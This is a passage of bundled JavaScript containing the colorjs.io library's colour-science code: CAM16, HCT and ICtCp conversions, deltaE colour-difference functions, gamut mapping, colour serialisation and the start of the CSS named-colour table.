1780 toBase(ICtCp) {
1781 let LMS = ICtCptoLMS(ICtCp);
1782 return multiply_v3_m3x3(LMS, LMStoXYZ_M2);
1783 },
1784 formats: {
1785 ictcp: {
1786 coords: [
1787 "<percentage> | <number>",
1788 "<number> | <percentage>",
1789 "<number> | <percentage>"
1790 ]
1791 }
1792 }
1793 });
1794 function LMStoICtCp(LMS) {
1795 let PQLMS = (
1796 /** @type {Vector3} */
1797 LMS.map(function(val) {
1798 let num = c12 + c22 * (val / 1e4) ** m1;
1799 let denom = 1 + c32 * (val / 1e4) ** m1;
1800 return (num / denom) ** m2;
1801 })
1802 );
1803 return multiply_v3_m3x3(PQLMS, LMStoIPT_M);
1804 }
1805 function ICtCptoLMS(ICtCp) {
1806 let PQLMS = multiply_v3_m3x3(ICtCp, IPTtoLMS_M);
1807 let LMS = (
1808 /** @type {Vector3} */
1809 PQLMS.map(function(val) {
1810 let num = Math.max(val ** im2 - c12, 0);
1811 let denom = c22 - c32 * val ** im2;
1812 return 1e4 * (num / denom) ** im1;
1813 })
1814 );
1815 return LMS;
1816 }
1817
1818 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaEITP.js
1819 function deltaEITP_default(color, sample) {
1820 [color, sample] = getColor([color, sample]);
1821 let [I1, T1, P1] = ictcp_default.from(color);
1822 let [I2, T2, P2] = ictcp_default.from(sample);
1823 return 720 * Math.sqrt((I1 - I2) ** 2 + 0.25 * (T1 - T2) ** 2 + (P1 - P2) ** 2);
1824 }
1825
1826 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaEOK2.js
1827 function deltaEOK2_default(color, sample) {
1828 [color, sample] = getColor([color, sample]);
1829 let abscale = 2;
1830 let [L1, a1, b1] = oklab_default.from(color);
1831 let [L2, a2, b2] = oklab_default.from(sample);
1832 let \u0394L = L1 - L2;
1833 let \u0394a = abscale * (a1 - a2);
1834 let \u0394b = abscale * (b1 - b2);
1835 return Math.sqrt(\u0394L ** 2 + \u0394a ** 2 + \u0394b ** 2);
1836 }
1837
1838 // packages/theme/node_modules/colorjs.io/src/spaces/cam16.js
1839 var white2 = WHITES.D65;
1840 var adaptedCoef = 0.42;
1841 var adaptedCoefInv = 1 / adaptedCoef;
1842 var tau = 2 * Math.PI;
1843 var cat16 = [
1844 [0.401288, 0.650173, -0.051461],
1845 [-0.250268, 1.204414, 0.045854],
1846 [-2079e-6, 0.048952, 0.953127]
1847 ];
1848 var cat16Inv = [
1849 [1.8620678550872327, -1.0112546305316843, 0.14918677544445175],
1850 [0.38752654323613717, 0.6214474419314753, -0.008973985167612518],
1851 [-0.015841498849333856, -0.03412293802851557, 1.0499644368778496]
1852 ];
1853 var m12 = [
1854 [460, 451, 288],
1855 [460, -891, -261],
1856 [460, -220, -6300]
1857 ];
1858 var surroundMap = {
1859 dark: [0.8, 0.525, 0.8],
1860 dim: [0.9, 0.59, 0.9],
1861 average: [1, 0.69, 1]
1862 };
1863 var hueQuadMap = {
1864 // Red, Yellow, Green, Blue, Red
1865 h: [20.14, 90, 164.25, 237.53, 380.14],
1866 e: [0.8, 0.7, 1, 1.2, 0.8],
1867 H: [0, 100, 200, 300, 400]
1868 };
1869 var rad2deg = 180 / Math.PI;
1870 var deg2rad = Math.PI / 180;
1871 function adapt2(coords, fl) {
1872 const temp = (
1873 /** @type {[number, number, number]} */
1874 coords.map((c) => {
1875 const x = spow(fl * Math.abs(c) * 0.01, adaptedCoef);
1876 return 400 * copySign(x, c) / (x + 27.13);
1877 })
1878 );
1879 return temp;
1880 }
1881 function unadapt(adapted, fl) {
1882 const constant = 100 / fl * 27.13 ** adaptedCoefInv;
1883 return (
1884 /** @type {[number, number, number]} */
1885 adapted.map((c) => {
1886 const cabs = Math.abs(c);
1887 return copySign(constant * spow(cabs / (400 - cabs), adaptedCoefInv), c);
1888 })
1889 );
1890 }
1891 function hueQuadrature(h) {
1892 let hp = constrain(h);
1893 if (hp <= hueQuadMap.h[0]) {
1894 hp += 360;
1895 }
1896 const i = bisectLeft(hueQuadMap.h, hp) - 1;
1897 const [hi, hii] = hueQuadMap.h.slice(i, i + 2);
1898 const [ei, eii] = hueQuadMap.e.slice(i, i + 2);
1899 const Hi = hueQuadMap.H[i];
1900 const t = (hp - hi) / ei;
1901 return Hi + 100 * t / (t + (hii - hp) / eii);
1902 }
1903 function invHueQuadrature(H) {
1904 let Hp = (H % 400 + 400) % 400;
1905 const i = Math.floor(0.01 * Hp);
1906 Hp = Hp % 100;
1907 const [hi, hii] = hueQuadMap.h.slice(i, i + 2);
1908 const [ei, eii] = hueQuadMap.e.slice(i, i + 2);
1909 return constrain((Hp * (eii * hi - ei * hii) - 100 * hi * eii) / (Hp * (eii - ei) - 100 * eii));
1910 }
1911 function environment(refWhite, adaptingLuminance, backgroundLuminance, surround, discounting) {
1912 const env = {};
1913 env.discounting = discounting;
1914 env.refWhite = refWhite;
1915 env.surround = surround;
1916 const xyzW = (
1917 /** @type {Vector3} */
1918 refWhite.map((c) => {
1919 return c * 100;
1920 })
1921 );
1922 env.la = adaptingLuminance;
1923 env.yb = backgroundLuminance;
1924 const yw = xyzW[1];
1925 const rgbW = multiply_v3_m3x3(xyzW, cat16);
1926 let values = surroundMap[env.surround];
1927 const f = values[0];
1928 env.c = values[1];
1929 env.nc = values[2];
1930 const k = 1 / (5 * env.la + 1);
1931 const k4 = k ** 4;
1932 env.fl = k4 * env.la + 0.1 * (1 - k4) * (1 - k4) * Math.cbrt(5 * env.la);
1933 env.flRoot = env.fl ** 0.25;
1934 env.n = env.yb / yw;
1935 env.z = 1.48 + Math.sqrt(env.n);
1936 env.nbb = 0.725 * env.n ** -0.2;
1937 env.ncb = env.nbb;
1938 const d2 = discounting ? 1 : Math.max(Math.min(f * (1 - 1 / 3.6 * Math.exp((-env.la - 42) / 92)), 1), 0);
1939 env.dRgb = /** @type {[number, number, number]} */
1940 rgbW.map((c) => {
1941 return interpolate(1, yw / c, d2);
1942 });
1943 env.dRgbInv = /** @type {[number, number, number]} */
1944 env.dRgb.map((c) => {
1945 return 1 / c;
1946 });
1947 const rgbCW = (
1948 /** @type {[number, number, number]} */
1949 rgbW.map((c, i) => {
1950 return c * env.dRgb[i];
1951 })
1952 );
1953 const rgbAW = adapt2(rgbCW, env.fl);
1954 env.aW = env.nbb * (2 * rgbAW[0] + rgbAW[1] + 0.05 * rgbAW[2]);
1955 return env;
1956 }
1957 var viewingConditions = environment(white2, 64 / Math.PI * 0.2, 20, "average", false);
1958 function fromCam16(cam16, env) {
1959 if (!(cam16.J !== void 0 ^ cam16.Q !== void 0)) {
1960 throw new Error("Conversion requires one and only one: 'J' or 'Q'");
1961 }
1962 if (!(cam16.C !== void 0 ^ cam16.M !== void 0 ^ cam16.s !== void 0)) {
1963 throw new Error("Conversion requires one and only one: 'C', 'M' or 's'");
1964 }
1965 if (!(cam16.h !== void 0 ^ cam16.H !== void 0)) {
1966 throw new Error("Conversion requires one and only one: 'h' or 'H'");
1967 }
1968 if (cam16.J === 0 || cam16.Q === 0) {
1969 return [0, 0, 0];
1970 }
1971 let hRad = 0;
1972 if (cam16.h !== void 0) {
1973 hRad = constrain(cam16.h) * deg2rad;
1974 } else {
1975 hRad = invHueQuadrature(cam16.H) * deg2rad;
1976 }
1977 const cosh = Math.cos(hRad);
1978 const sinh = Math.sin(hRad);
1979 let Jroot = 0;
1980 if (cam16.J !== void 0) {
1981 Jroot = spow(cam16.J, 1 / 2) * 0.1;
1982 } else if (cam16.Q !== void 0) {
1983 Jroot = 0.25 * env.c * cam16.Q / ((env.aW + 4) * env.flRoot);
1984 }
1985 let alpha = 0;
1986 if (cam16.C !== void 0) {
1987 alpha = cam16.C / Jroot;
1988 } else if (cam16.M !== void 0) {
1989 alpha = cam16.M / env.flRoot / Jroot;
1990 } else if (cam16.s !== void 0) {
1991 alpha = 4e-4 * cam16.s ** 2 * (env.aW + 4) / env.c;
1992 }
1993 const t = spow(alpha * Math.pow(1.64 - Math.pow(0.29, env.n), -0.73), 10 / 9);
1994 const et = 0.25 * (Math.cos(hRad + 2) + 3.8);
1995 const A = env.aW * spow(Jroot, 2 / env.c / env.z);
1996 const p1 = 5e4 / 13 * env.nc * env.ncb * et;
1997 const p2 = A / env.nbb;
1998 const r = 23 * (p2 + 0.305) * zdiv(t, 23 * p1 + t * (11 * cosh + 108 * sinh));
1999 const a = r * cosh;
2000 const b2 = r * sinh;
2001 const rgb_c = unadapt(
2002 /** @type {Vector3} */
2003 multiply_v3_m3x3([p2, a, b2], m12).map((c) => {
2004 return c * 1 / 1403;
2005 }),
2006 env.fl
2007 );
2008 return (
2009 /** @type {Vector3} */
2010 multiply_v3_m3x3(
2011 /** @type {Vector3} */
2012 rgb_c.map((c, i) => {
2013 return c * env.dRgbInv[i];
2014 }),
2015 cat16Inv
2016 ).map((c) => {
2017 return c / 100;
2018 })
2019 );
2020 }
2021 function toCam16(xyzd65, env) {
2022 const xyz100 = (
2023 /** @type {Vector3} */
2024 xyzd65.map((c) => {
2025 return c * 100;
2026 })
2027 );
2028 const rgbA = adapt2(
2029 /** @type {[number, number, number]} */
2030 multiply_v3_m3x3(xyz100, cat16).map((c, i) => {
2031 return c * env.dRgb[i];
2032 }),
2033 env.fl
2034 );
2035 const a = rgbA[0] + (-12 * rgbA[1] + rgbA[2]) / 11;
2036 const b2 = (rgbA[0] + rgbA[1] - 2 * rgbA[2]) / 9;
2037 const hRad = (Math.atan2(b2, a) % tau + tau) % tau;
2038 const et = 0.25 * (Math.cos(hRad + 2) + 3.8);
2039 const t = 5e4 / 13 * env.nc * env.ncb * zdiv(et * Math.sqrt(a ** 2 + b2 ** 2), rgbA[0] + rgbA[1] + 1.05 * rgbA[2] + 0.305);
2040 const alpha = spow(t, 0.9) * Math.pow(1.64 - Math.pow(0.29, env.n), 0.73);
2041 const A = env.nbb * (2 * rgbA[0] + rgbA[1] + 0.05 * rgbA[2]);
2042 const Jroot = spow(A / env.aW, 0.5 * env.c * env.z);
2043 const J = 100 * spow(Jroot, 2);
2044 const Q = 4 / env.c * Jroot * (env.aW + 4) * env.flRoot;
2045 const C = alpha * Jroot;
2046 const M = C * env.flRoot;
2047 const h = constrain(hRad * rad2deg);
2048 const H = hueQuadrature(h);
2049 const s = 50 * spow(env.c * alpha / (env.aW + 4), 1 / 2);
2050 return { J, C, h, s, Q, M, H };
2051 }
2052 var cam16_default = new ColorSpace({
2053 id: "cam16-jmh",
2054 cssId: "--cam16-jmh",
2055 name: "CAM16-JMh",
2056 coords: {
2057 j: {
2058 refRange: [0, 100],
2059 name: "J"
2060 },
2061 m: {
2062 refRange: [0, 105],
2063 name: "Colorfulness"
2064 },
2065 h: {
2066 refRange: [0, 360],
2067 type: "angle",
2068 name: "Hue"
2069 }
2070 },
2071 base: xyz_d65_default,
2072 fromBase(xyz) {
2073 if (this.\u03B5 === void 0) {
2074 this.\u03B5 = Object.values(this.coords)[1].refRange[1] / 1e5;
2075 }
2076 const cam16 = toCam16(xyz, viewingConditions);
2077 const isAchromatic = Math.abs(cam16.M) < this.\u03B5;
2078 return [cam16.J, isAchromatic ? 0 : cam16.M, isAchromatic ? null : cam16.h];
2079 },
2080 toBase(cam16) {
2081 return fromCam16({ J: cam16[0], M: cam16[1], h: cam16[2] }, viewingConditions);
2082 }
2083 });
2084
2085 // packages/theme/node_modules/colorjs.io/src/spaces/hct.js
2086 var white3 = WHITES.D65;
2087 var \u03B55 = 216 / 24389;
2088 var \u03BA2 = 24389 / 27;
2089 function toLstar(y) {
2090 const fy = y > \u03B55 ? Math.cbrt(y) : (\u03BA2 * y + 16) / 116;
2091 return 116 * fy - 16;
2092 }
2093 function fromLstar(lstar) {
2094 return lstar > 8 ? Math.pow((lstar + 16) / 116, 3) : lstar / \u03BA2;
2095 }
2096 function fromHct(coords, env) {
2097 let [h, c, t] = coords;
2098 let xyz = [];
2099 let j = 0;
2100 if (t === 0) {
2101 return [0, 0, 0];
2102 }
2103 let y = fromLstar(t);
2104 if (t > 0) {
2105 j = 0.00379058511492914 * t ** 2 + 0.608983189401032 * t + 0.9155088574762233;
2106 } else {
2107 j = 9514440756550361e-21 * t ** 2 + 0.08693057439788597 * t - 21.928975842194614;
2108 }
2109 const threshold = 2e-12;
2110 const max_attempts = 15;
2111 let attempt = 0;
2112 let last = Infinity;
2113 let best = j;
2114 while (attempt <= max_attempts) {
2115 xyz = fromCam16({ J: j, C: c, h }, env);
2116 const delta = Math.abs(xyz[1] - y);
2117 if (delta < last) {
2118 if (delta <= threshold) {
2119 return xyz;
2120 }
2121 best = j;
2122 last = delta;
2123 }
2124 j = j - (xyz[1] - y) * j / (2 * xyz[1]);
2125 attempt += 1;
2126 }
2127 return fromCam16({ J: j, C: c, h }, env);
2128 }
2129 function toHct(xyz, env) {
2130 const t = toLstar(xyz[1]);
2131 if (t === 0) {
2132 return [0, 0, 0];
2133 }
2134 const cam16 = toCam16(xyz, viewingConditions2);
2135 return [constrain(cam16.h), cam16.C, t];
2136 }
2137 var viewingConditions2 = environment(
2138 white3,
2139 200 / Math.PI * fromLstar(50),
2140 fromLstar(50) * 100,
2141 "average",
2142 false
2143 );
2144 var hct_default = new ColorSpace({
2145 id: "hct",
2146 name: "HCT",
2147 coords: {
2148 h: {
2149 refRange: [0, 360],
2150 type: "angle",
2151 name: "Hue"
2152 },
2153 c: {
2154 refRange: [0, 145],
2155 name: "Colorfulness"
2156 },
2157 t: {
2158 refRange: [0, 100],
2159 name: "Tone"
2160 }
2161 },
2162 base: xyz_d65_default,
2163 fromBase(xyz) {
2164 if (this.\u03B5 === void 0) {
2165 this.\u03B5 = Object.values(this.coords)[1].refRange[1] / 1e5;
2166 }
2167 let hct = toHct(xyz, viewingConditions2);
2168 if (hct[1] < this.\u03B5) {
2169 hct[1] = 0;
2170 hct[0] = null;
2171 }
2172 return hct;
2173 },
2174 toBase(hct) {
2175 return fromHct(hct, viewingConditions2);
2176 },
2177 formats: {
2178 color: {
2179 id: "--hct",
2180 coords: ["<number> | <angle>", "<percentage> | <number>", "<percentage> | <number>"]
2181 }
2182 }
2183 });
2184
2185 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaEHCT.js
2186 var rad2deg2 = 180 / Math.PI;
2187 var deg2rad2 = Math.PI / 180;
2188 var ucsCoeff = [1, 7e-3, 0.0228];
2189 function convertUcsAb(coords) {
2190 if (coords[1] < 0) {
2191 coords = hct_default.fromBase(hct_default.toBase(coords));
2192 }
2193 const M = Math.log(Math.max(1 + ucsCoeff[2] * coords[1] * viewingConditions2.flRoot, 1)) / ucsCoeff[2];
2194 const hrad = coords[0] * deg2rad2;
2195 const a = M * Math.cos(hrad);
2196 const b2 = M * Math.sin(hrad);
2197 return [coords[2], a, b2];
2198 }
2199 function deltaEHCT_default(color, sample) {
2200 [color, sample] = getColor([color, sample]);
2201 let [t1, a1, b1] = convertUcsAb(hct_default.from(color));
2202 let [t2, a2, b2] = convertUcsAb(hct_default.from(sample));
2203 return Math.sqrt((t1 - t2) ** 2 + (a1 - a2) ** 2 + (b1 - b2) ** 2);
2204 }
2205
2206 // packages/theme/node_modules/colorjs.io/src/deltaE/index.js
2207 var deltaE_default = {
2208 deltaE76,
2209 deltaECMC: deltaECMC_default,
2210 deltaE2000: deltaE2000_default,
2211 deltaEJz: deltaEJz_default,
2212 deltaEITP: deltaEITP_default,
2213 deltaEOK: deltaEOK_default,
2214 deltaEOK2: deltaEOK2_default,
2215 deltaEHCT: deltaEHCT_default
2216 };
2217
2218 // packages/theme/node_modules/colorjs.io/src/toGamut.js
2219 function calcEpsilon(jnd) {
2220 const order = !jnd ? 0 : Math.floor(Math.log10(Math.abs(jnd)));
2221 return Math.max(parseFloat(`1e${order - 2}`), 1e-6);
2222 }
2223 var GMAPPRESET = {
2224 hct: {
2225 method: "hct.c",
2226 jnd: 2,
2227 deltaEMethod: "hct",
2228 blackWhiteClamp: {}
2229 },
2230 "hct-tonal": {
2231 method: "hct.c",
2232 jnd: 0,
2233 deltaEMethod: "hct",
2234 blackWhiteClamp: { channel: "hct.t", min: 0, max: 100 }
2235 }
2236 };
2237 function toGamut(color, {
2238 method = defaults_default.gamut_mapping,
2239 space = void 0,
2240 deltaEMethod = "",
2241 jnd = 2,
2242 blackWhiteClamp = void 0
2243 } = {}) {
2244 color = getColor(color);
2245 if (isString(arguments[1])) {
2246 space = arguments[1];
2247 } else if (!space) {
2248 space = color.space;
2249 }
2250 space = ColorSpace.get(space);
2251 if (inGamut(color, space, { epsilon: 0 })) {
2252 return (
2253 /** @type {PlainColorObject} */
2254 color
2255 );
2256 }
2257 let spaceColor;
2258 if (method === "css") {
2259 spaceColor = toGamutCSS(color, { space });
2260 } else {
2261 if (method !== "clip" && !inGamut(color, space)) {
2262 if (Object.prototype.hasOwnProperty.call(GMAPPRESET, method)) {
2263 ({ method, jnd, deltaEMethod, blackWhiteClamp } = GMAPPRESET[method]);
2264 }
2265 let de = deltaE2000_default;
2266 if (deltaEMethod !== "") {
2267 for (let m in deltaE_default) {
2268 if ("deltae" + deltaEMethod.toLowerCase() === m.toLowerCase()) {
2269 de = deltaE_default[m];
2270 break;
2271 }
2272 }
2273 }
2274 if (jnd === 0) {
2275 jnd = 1e-16;
2276 }
2277 let clipped = toGamut(to(color, space), { method: "clip", space });
2278 if (de(color, clipped) > jnd) {
2279 if (blackWhiteClamp && Object.keys(blackWhiteClamp).length === 3) {
2280 let channelMeta = ColorSpace.resolveCoord(blackWhiteClamp.channel);
2281 let channel = get(to(color, channelMeta.space), channelMeta.id);
2282 if (isNone(channel)) {
2283 channel = 0;
2284 }
2285 if (channel >= blackWhiteClamp.max) {
2286 return to({ space: "xyz-d65", coords: WHITES["D65"] }, color.space);
2287 } else if (channel <= blackWhiteClamp.min) {
2288 return to({ space: "xyz-d65", coords: [0, 0, 0] }, color.space);
2289 }
2290 }
2291 let coordMeta = ColorSpace.resolveCoord(method);
2292 let mapSpace = coordMeta.space;
2293 let coordId = coordMeta.id;
2294 let mappedColor = to(color, mapSpace);
2295 mappedColor.coords.forEach((c, i) => {
2296 if (isNone(c)) {
2297 mappedColor.coords[i] = 0;
2298 }
2299 });
2300 let bounds = coordMeta.range || coordMeta.refRange;
2301 let min = bounds[0];
2302 let \u03B56 = calcEpsilon(jnd);
2303 let low = min;
2304 let high = get(mappedColor, coordId);
2305 while (high - low > \u03B56) {
2306 let clipped2 = clone(mappedColor);
2307 clipped2 = toGamut(clipped2, { space, method: "clip" });
2308 let deltaE = de(mappedColor, clipped2);
2309 if (deltaE - jnd < \u03B56) {
2310 low = get(mappedColor, coordId);
2311 } else {
2312 high = get(mappedColor, coordId);
2313 }
2314 set(mappedColor, coordId, (low + high) / 2);
2315 }
2316 spaceColor = to(mappedColor, space);
2317 } else {
2318 spaceColor = clipped;
2319 }
2320 } else {
2321 spaceColor = to(color, space);
2322 }
2323 if (method === "clip" || // Dumb coord clipping
2324 // finish off smarter gamut mapping with clip to get rid of ε, see #17
2325 !inGamut(spaceColor, space, { epsilon: 0 })) {
2326 let bounds = Object.values(space.coords).map((c) => c.range || []);
2327 spaceColor.coords = /** @type {[number, number, number]} */
2328 spaceColor.coords.map((c, i) => {
2329 let [min, max] = bounds[i];
2330 if (min !== void 0) {
2331 c = Math.max(min, c);
2332 }
2333 if (max !== void 0) {
2334 c = Math.min(c, max);
2335 }
2336 return c;
2337 });
2338 }
2339 }
2340 if (space !== color.space) {
2341 spaceColor = to(spaceColor, color.space);
2342 }
2343 color.coords = spaceColor.coords;
2344 return (
2345 /** @type {PlainColorObject} */
2346 color
2347 );
2348 }
2349 toGamut.returns = "color";
2350 var COLORS = {
2351 WHITE: { space: oklab_default, coords: [1, 0, 0], alpha: 1 },
2352 BLACK: { space: oklab_default, coords: [0, 0, 0], alpha: 1 }
2353 };
2354 function toGamutCSS(origin, { space } = {}) {
2355 const JND = 0.02;
2356 const \u03B56 = 1e-4;
2357 origin = getColor(origin);
2358 if (!space) {
2359 space = origin.space;
2360 }
2361 space = ColorSpace.get(space);
2362 const oklchSpace = ColorSpace.get("oklch");
2363 if (space.isUnbounded) {
2364 return to(origin, space);
2365 }
2366 const origin_OKLCH = to(origin, oklchSpace);
2367 let L = origin_OKLCH.coords[0];
2368 if (L >= 1) {
2369 const white4 = to(COLORS.WHITE, space);
2370 white4.alpha = origin.alpha;
2371 return to(white4, space);
2372 }
2373 if (L <= 0) {
2374 const black = to(COLORS.BLACK, space);
2375 black.alpha = origin.alpha;
2376 return to(black, space);
2377 }
2378 if (inGamut(origin_OKLCH, space, { epsilon: 0 })) {
2379 return to(origin_OKLCH, space);
2380 }
2381 function clip(_color) {
2382 const destColor = to(_color, space);
2383 const spaceCoords = Object.values(
2384 /** @type {ColorSpace} */
2385 space.coords
2386 );
2387 destColor.coords = /** @type {[number, number, number]} */
2388 destColor.coords.map((coord, index) => {
2389 if ("range" in spaceCoords[index]) {
2390 const [min2, max2] = spaceCoords[index].range;
2391 return clamp(min2, coord, max2);
2392 }
2393 return coord;
2394 });
2395 return destColor;
2396 }
2397 let min = 0;
2398 let max = origin_OKLCH.coords[1];
2399 let min_inGamut = true;
2400 let current = clone(origin_OKLCH);
2401 let clipped = clip(current);
2402 let E = deltaEOK_default(clipped, current);
2403 if (E < JND) {
2404 return clipped;
2405 }
2406 while (max - min > \u03B56) {
2407 const chroma = (min + max) / 2;
2408 current.coords[1] = chroma;
2409 if (min_inGamut && inGamut(current, space, { epsilon: 0 })) {
2410 min = chroma;
2411 } else {
2412 clipped = clip(current);
2413 E = deltaEOK_default(clipped, current);
2414 if (E < JND) {
2415 if (JND - E < \u03B56) {
2416 break;
2417 } else {
2418 min_inGamut = false;
2419 min = chroma;
2420 }
2421 } else {
2422 max = chroma;
2423 }
2424 }
2425 }
2426 return clipped;
2427 }
2428
2429 // packages/theme/node_modules/colorjs.io/src/to.js
2430 function to(color, space, { inGamut: inGamut2 } = {}) {
2431 color = getColor(color);
2432 space = ColorSpace.get(space);
2433 let coords = space.from(color);
2434 let ret = { space, coords, alpha: color.alpha };
2435 if (inGamut2) {
2436 ret = toGamut(ret, inGamut2 === true ? void 0 : inGamut2);
2437 }
2438 return ret;
2439 }
2440 to.returns = "color";
2441
2442 // packages/theme/node_modules/colorjs.io/src/serialize.js
2443 function serialize(color, options = {}) {
2444 let {
2445 precision = defaults_default.precision,
2446 format,
2447 inGamut: inGamut2 = true,
2448 coords: coordFormat,
2449 alpha: alphaFormat,
2450 commas
2451 } = options;
2452 let ret;
2453 let colorWithMeta = (
2454 /** @type {PlainColorObject & ParseOptions} */
2455 getColor(color)
2456 );
2457 let formatId = format;
2458 let parseMeta = colorWithMeta.parseMeta;
2459 if (parseMeta && !format) {
2460 if (parseMeta.format.canSerialize()) {
2461 format = parseMeta.format;
2462 formatId = parseMeta.formatId;
2463 }
2464 coordFormat ??= parseMeta.types;
2465 alphaFormat ??= parseMeta.alphaType;
2466 commas ??= parseMeta.commas;
2467 }
2468 if (formatId) {
2469 format = colorWithMeta.space.getFormat(format) ?? ColorSpace.findFormat(formatId);
2470 }
2471 if (!format) {
2472 format = colorWithMeta.space.getFormat("default") ?? ColorSpace.DEFAULT_FORMAT;
2473 formatId = format.name;
2474 }
2475 if (format && format.space && format.space !== colorWithMeta.space) {
2476 colorWithMeta = to(colorWithMeta, format.space);
2477 }
2478 let coords = colorWithMeta.coords.slice();
2479 inGamut2 ||= format.toGamut;
2480 if (inGamut2 && !inGamut(colorWithMeta)) {
2481 coords = toGamut(clone(colorWithMeta), inGamut2 === true ? void 0 : inGamut2).coords;
2482 }
2483 if (format.type === "custom") {
2484 if (format.serialize) {
2485 ret = format.serialize(coords, colorWithMeta.alpha, options);
2486 } else {
2487 throw new TypeError(
2488 `format ${formatId} can only be used to parse colors, not for serialization`
2489 );
2490 }
2491 } else {
2492 let name = format.name || "color";
2493 let args = format.serializeCoords(coords, precision, coordFormat);
2494 if (name === "color") {
2495 let cssId = format.id || format.ids?.[0] || colorWithMeta.space.cssId || colorWithMeta.space.id;
2496 args.unshift(cssId);
2497 }
2498 let alpha = colorWithMeta.alpha;
2499 if (alphaFormat !== void 0 && !(typeof alphaFormat === "object")) {
2500 alphaFormat = typeof alphaFormat === "string" ? { type: alphaFormat } : { include: alphaFormat };
2501 }
2502 let alphaType = alphaFormat?.type ?? "<number>";
2503 let serializeAlpha = alphaFormat?.include === true || format.alpha === true || alphaFormat?.include !== false && format.alpha !== false && alpha < 1;
2504 let strAlpha = "";
2505 commas ??= format.commas;
2506 if (serializeAlpha) {
2507 if (precision !== null) {
2508 let unit;
2509 if (alphaType === "<percentage>") {
2510 unit = "%";
2511 alpha *= 100;
2512 }
2513 alpha = serializeNumber(alpha, { precision, unit });
2514 }
2515 strAlpha = `${commas ? "," : " /"} ${alpha}`;
2516 }
2517 ret = `${name}(${args.join(commas ? ", " : " ")}${strAlpha})`;
2518 }
2519 return ret;
2520 }
2521
2522 // packages/theme/node_modules/colorjs.io/src/spaces/p3-linear.js
2523 var toXYZ_M = [
2524 [0.4865709486482162, 0.26566769316909306, 0.1982172852343625],
2525 [0.2289745640697488, 0.6917385218365064, 0.079286914093745],
2526 [0, 0.04511338185890264, 1.043944368900976]
2527 ];
2528 var fromXYZ_M = [
2529 [2.493496911941425, -0.9313836179191239, -0.40271078445071684],
2530 [-0.8294889695615747, 1.7626640603183463, 0.023624685841943577],
2531 [0.03584583024378447, -0.07617238926804182, 0.9568845240076872]
2532 ];
2533 var p3_linear_default = new RGBColorSpace({
2534 id: "p3-linear",
2535 cssId: "display-p3-linear",
2536 name: "Linear P3",
2537 white: "D65",
2538 toXYZ_M,
2539 fromXYZ_M
2540 });
2541
2542 // packages/theme/node_modules/colorjs.io/src/spaces/srgb-linear.js
2543 var toXYZ_M2 = [
2544 [0.41239079926595934, 0.357584339383878, 0.1804807884018343],
2545 [0.21263900587151027, 0.715168678767756, 0.07219231536073371],
2546 [0.01933081871559182, 0.11919477979462598, 0.9505321522496607]
2547 ];
2548 var fromXYZ_M2 = [
2549 [3.2409699419045226, -1.537383177570094, -0.4986107602930034],
2550 [-0.9692436362808796, 1.8759675015077202, 0.04155505740717559],
2551 [0.05563007969699366, -0.20397695888897652, 1.0569715142428786]
2552 ];
2553 var srgb_linear_default = new RGBColorSpace({
2554 id: "srgb-linear",
2555 name: "Linear sRGB",
2556 white: "D65",
2557 toXYZ_M: toXYZ_M2,
2558 fromXYZ_M: fromXYZ_M2
2559 });
2560
2561 // packages/theme/node_modules/colorjs.io/src/keywords.js
2562 var keywords_default = {
2563 aliceblue: [240 / 255, 248 / 255, 1],
2564 antiquewhite: [250 / 255, 235 / 255, 215 / 255],
2565 aqua: [0, 1, 1],
2566 aquamarine: [127 / 255, 1, 212 / 255],
2567 azure: [240 / 255, 1, 1],
2568 beige: [245 / 255, 245 / 255, 220 / 255],
2569 bisque: [1, 228 / 255, 196 / 255],
2570 black: [0, 0, 0],
2571 blanchedalmond: [1, 235 / 255, 205 / 255],
2572 blue: [0, 0, 1],
2573 blueviolet: [138 / 255, 43 / 255, 226 / 255],
2574 brown: [165 / 255, 42 / 255, 42 / 255],
2575 burlywood: [222 / 255, 184 / 255, 135 / 255],
2576 cadetblue: [95 / 255, 158 / 255, 160 / 255],
2577 chartreuse: [127 / 255, 1, 0],
2578 chocolate: [210 / 255, 105 / 255, 30 / 255],
2579 coral: [1, 127 / 255, 80 / 255],
2580 cornflowerblue: [100 / 255, 149 / 255, 237 / 255],
2581 cornsilk: [1, 248 / 255, 220 / 255],
2582 crimson: [220 / 255, 20 / 255, 60 / 255],
2583 cyan: [0, 1, 1],
2584 darkblue: [0, 0, 139 / 255],
2585 darkcyan: [0, 139 / 255, 139 / 255],
2586 darkgoldenrod: [184 / 255, 134 / 255, 11 / 255],
2587 darkgray: [169 / 255, 169 / 255, 169 / 255],
2588 darkgreen: [0, 100 / 255, 0],
2589 darkgrey: [169 / 255, 169 / 255, 169 / 255],
2590 darkkhaki: [189 / 255, 183 / 255, 107 / 255],
2591 darkmagenta: [139 / 255, 0, 139 / 255],
2592 darkolivegreen: [85 / 255, 107 / 255, 47 / 255],
2593 darkorange: [1, 140 / 255, 0],
2594 darkorchid: [153 / 255, 50 / 255, 204 / 255],
2595 darkred: [139 / 255, 0, 0],
2596 darksalmon: [233 / 255, 150 / 255, 122 / 255],
2597 darkseagreen: [143 / 255, 188 / 255, 143 / 255],
2598 darkslateblue: [72 / 255, 61 / 255, 139 / 255],
2599 darkslategray: [47 / 255, 79 / 255, 79 / 255],
2600 darkslategrey: [47 / 255, 79 / 255, 79 / 255],
2601 darkturquoise: [0, 206 / 255, 209 / 255],
2602 darkviolet: [148 / 255, 0, 211 / 255],
2603 deeppink: [1, 20 / 255, 147 / 255],
2604 deepskyblue: [0, 191 / 255, 1],
2605 dimgray: [105 / 255, 105 / 255, 105 / 255],
2606 dimgrey: [105 / 255, 105 / 255, 105 / 255],
2607 dodgerblue: [30 / 255, 144 / 255, 1],
2608 firebrick: [178 / 255, 34 / 255, 34 / 255],
2609 floralwhite: [1, 250 / 255, 240 / 255],
2610 forestgreen: [34 / 255, 139 / 255, 34 / 255],
2611 fuchsia: [1, 0, 1],
2612 gainsboro: [220 / 255, 220 / 255, 220 / 255],
2613 ghostwhite: [248 / 255, 248 / 255, 1],
2614 gold: [1, 215 / 255, 0],
2615 goldenrod: [218 / 255, 165 / 255, 32 / 255],
2616 gray: [128 / 255, 128 / 255, 128 / 255],
2617 green: [0, 128 / 255, 0],
2618 greenyellow: [173 / 255, 1, 47 / 255],
2619 grey: [128 / 255, 128 / 255, 128 / 255],
2620 honeydew: [240 / 255, 1, 240 / 255],
2621 hotpink: [1, 105 / 255, 180 / 255],
